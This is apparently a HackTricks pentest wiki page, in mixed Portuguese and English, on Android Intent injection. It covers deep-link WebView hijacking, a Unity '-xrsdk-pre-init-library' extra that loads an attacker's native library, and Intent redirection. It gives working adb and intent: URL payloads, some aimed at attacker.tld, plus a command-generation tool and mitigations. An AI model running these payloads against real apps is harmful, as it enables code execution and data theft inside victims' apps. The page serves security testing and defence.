Intent Injection

Reading time: 13 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Intent injection abusa de componentes que aceitam Intents controlados pelo atacante ou dados que são posteriormente convertidos em Intents. Dois padrões muito comuns durante pentests de apps Android são:

  • Passar extras forjados para Activities/Services/BroadcastReceivers exportados que são posteriormente encaminhados para componentes privilegiados não-exportados.
  • Disparar deep links VIEW/BROWSABLE exportados que encaminham URLs controladas pelo atacante para WebViews internas ou outros sinks sensíveis.

Se um app expõe um deep link com esquema customizado como:

text
myscheme://com.example.app/web?url=<attacker_url>

e a Activity receptora encaminha o parâmetro de consulta url para um WebView, você pode forçar o app a renderizar conteúdo remoto arbitrário no próprio contexto do WebView.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto

  • HTML/JS executes inside the app’s WebView profile.
  • If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed @JavascriptInterface objects, steal WebView cookies/local storage, and pivot.

See also:

Webview Attacks

Bug de ordem das verificações que habilita JavaScript

Um bug recorrente é habilitar JavaScript (ou outras configurações permissivas do WebView) antes de a allowlist/verificação final da URL terminar. Se helpers iniciais aceitarem seu deep link e o WebView for configurado primeiro, seu carregamento final acontece com JavaScript já habilitado mesmo que verificações posteriores estejam falhas ou cheguem tarde demais.

O que procurar no código decompilado:

  • Múltiplos helpers que parse/split/rebuild a URL de forma diferente (normalização inconsistente).
  • Chamadas para getSettings().setJavaScriptEnabled(true) antes da última verificação de host/path na allowlist.
  • Um pipeline como: parse → partial validate → configure WebView → final verify → loadUrl.

Mitigações

  • Normalizar uma vez e validar estritamente; falhar fechado.
  • Habilitar JavaScript somente depois que todas as verificações passarem e pouco antes de carregar conteúdo confiável.
  • Evitar expor bridges para origens não confiáveis.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Por que funciona

  • O extra do Intent unity é interpretado como flags de runtime do Unity.
  • O fornecimento do flag pre-init aponta o Unity para um caminho ELF controlado pelo atacante dentro de um namespace do linker permitido (veja as restrições abaixo).

Condições para exploração

  • A Activity de entrada do Unity está exportada (comumente true por padrão).
  • Para one-click remoto via browser: a Activity de entrada também declara android.intent.category.BROWSABLE para que extras possam ser passados a partir de uma URL intent:.

Exploração local (mesmo dispositivo)

  1. Coloque um ELF payload em um caminho legível pelo app vítima. Mais fácil: inclua uma biblioteca maliciosa no seu próprio app atacante e garanta que ela seja extraída sob /data/app/.../lib/<abi>/ definindo no manifest do atacante:
xml
<application android:extractNativeLibs="true" ...>
  1. Inicie a activity Unity da vítima com a flag pre-init do CLI no extra unity. Exemplo de PoC ADB:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity chama dlopen("/data/.../libpayload.so", RTLD_NOW); seu payload roda no processo da vítima, herdando todas as permissões do app (camera/mic/network/storage, etc.) e acesso às sessões/dados dentro do app.

Notes

  • O caminho exato /data/app/... varia entre dispositivos/instalações. An attacker app pode recuperar seu próprio native lib dir em tempo de execução via getApplicationInfo().nativeLibraryDir e comunicá‑lo ao trigger.
  • O arquivo não precisa terminar com .so se for um ELF válido – dlopen() verifica os headers ELF, não as extensões.

One‑click remoto via browser (condicional) Se a activity de entrada do Unity estiver exportada com BROWSABLE, um website pode passar extras via uma URL intent::

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

No entanto, no Android moderno, dynamic linker namespaces e SELinux impedem o carregamento a partir de muitos caminhos públicos (por exemplo, /sdcard/Download). Você verá erros como:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.

Outros primitivos clássicos de Intent injection

  • startActivity/sendBroadcast usando extras de Intent fornecidos pelo atacante que são posteriormente reprocessados (Intent.parseUri(...)) e executados.
  • Componentes proxy exportados que encaminham Intents para componentes sensíveis não-exportados sem checagens de permissão.

Automatizando testes de componentes exportados (Smali-driven ADB generation)

Quando componentes exportados esperam extras específicos, adivinhar o formato do payload causa perda de tempo e falsos negativos. Você pode automatizar a descoberta de chaves/tipos diretamente a partir do Smali e gerar comandos adb prontos para rodar.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile e escaneie o Smali em busca de chamadas como getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() para inferir quais extras e campos são consumidos por cada componente.
  • Output: para cada Activity/Service/Receiver/Provider exportado, a ferramenta imprime uma breve explicação e o comando exato adb shell am .../cmd content ... com flags corretamente tipados.

Instalar

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Uso

bash
python apk-components-inspector.py target.apk

Exemplo de saída

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

Resumo rápido de extras do ADB am (flags sensíveis ao tipo)

  • Strings (cadeia de caracteres): --es key value | Array de strings: --esa key v1,v2
  • Integers (inteiros): --ei key 123 | Int array: --eia key 1,2,3
  • Booleans (booleanos): --ez key true|false
  • Longs (long): --el key 1234567890
  • Floats (float): --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (dados do Intent): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Dicas para Providers

  • Use adb shell cmd content query|insert|update|delete ... para acessar ContentProviders sem agentes.
  • Para sondagem de SQLi, varie --projection e --where (aka selection) quando o provider subjacente for baseado em SQLite.

Automação de pipeline completo (executador interativo)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

Script auxiliar (mescla linhas continuadas, executa apenas linhas que começam com adb):

python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: the inspector é Python-based e funciona no Termux ou em telefones com root onde apktool/androguard estão disponíveis.


Intent Redirection (CWE-926) – descobrindo e explorando

Pattern

  • An exported entry point (Activity/Service/Receiver) lê um Intent de entrada e o encaminha internamente ou externamente sem validar a origem/dados, por exemplo:
  • startActivity(getIntent())
  • startActivity(intent) onde intent veio de um extra como redirect_intent/next_intent/pending_intent ou Intent.parseUri(...).
  • Confiar nos campos action/data/component sem checagens; não verificar a identidade do caller.

What to search in Smali/Java

  • Usos de getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • startActivity(...), startService(...), sendBroadcast(...) diretos em Intents influenciadas pelo atacante.
  • Falta de verificações getCallingPackage()/getCallingActivity() ou gates de permissão customizados.

ADB PoC templates

  • Proxy Activity encaminhando um Intent extra para uma Activity interna privilegiada:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Serviço exportado que aceita um parcelable redirect_intent:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Receiver exportado que repassa sem validação:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags úteis para comportamento no estilo singleTask

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Exemplos do mundo real (o impacto varia):

  • CVE-2024-26131 (Element Android): fluxos exportados levando à manipulação do WebView, PIN bypass e login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → efeitos em nível de sistema.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → acesso arbitrário a arquivos (com interação do usuário).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Mitigações (lista de verificação para desenvolvedores)

  • Não encaminhe Intents recebidos diretamente; em vez disso, sanitizar e reconstruir apenas os campos permitidos.
  • Restrinja a exposição com android:exported="false" salvo se necessário. Proteja componentes exportados com permissões e assinaturas.
  • Verifique a identidade do caller (getCallingPackage()/getCallingActivity()), e exija Intents explícitas para navegação intra-app.
  • Valide tanto action quanto data (scheme/host/path) antes de usar; evite Intent.parseUri em entrada não confiável.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks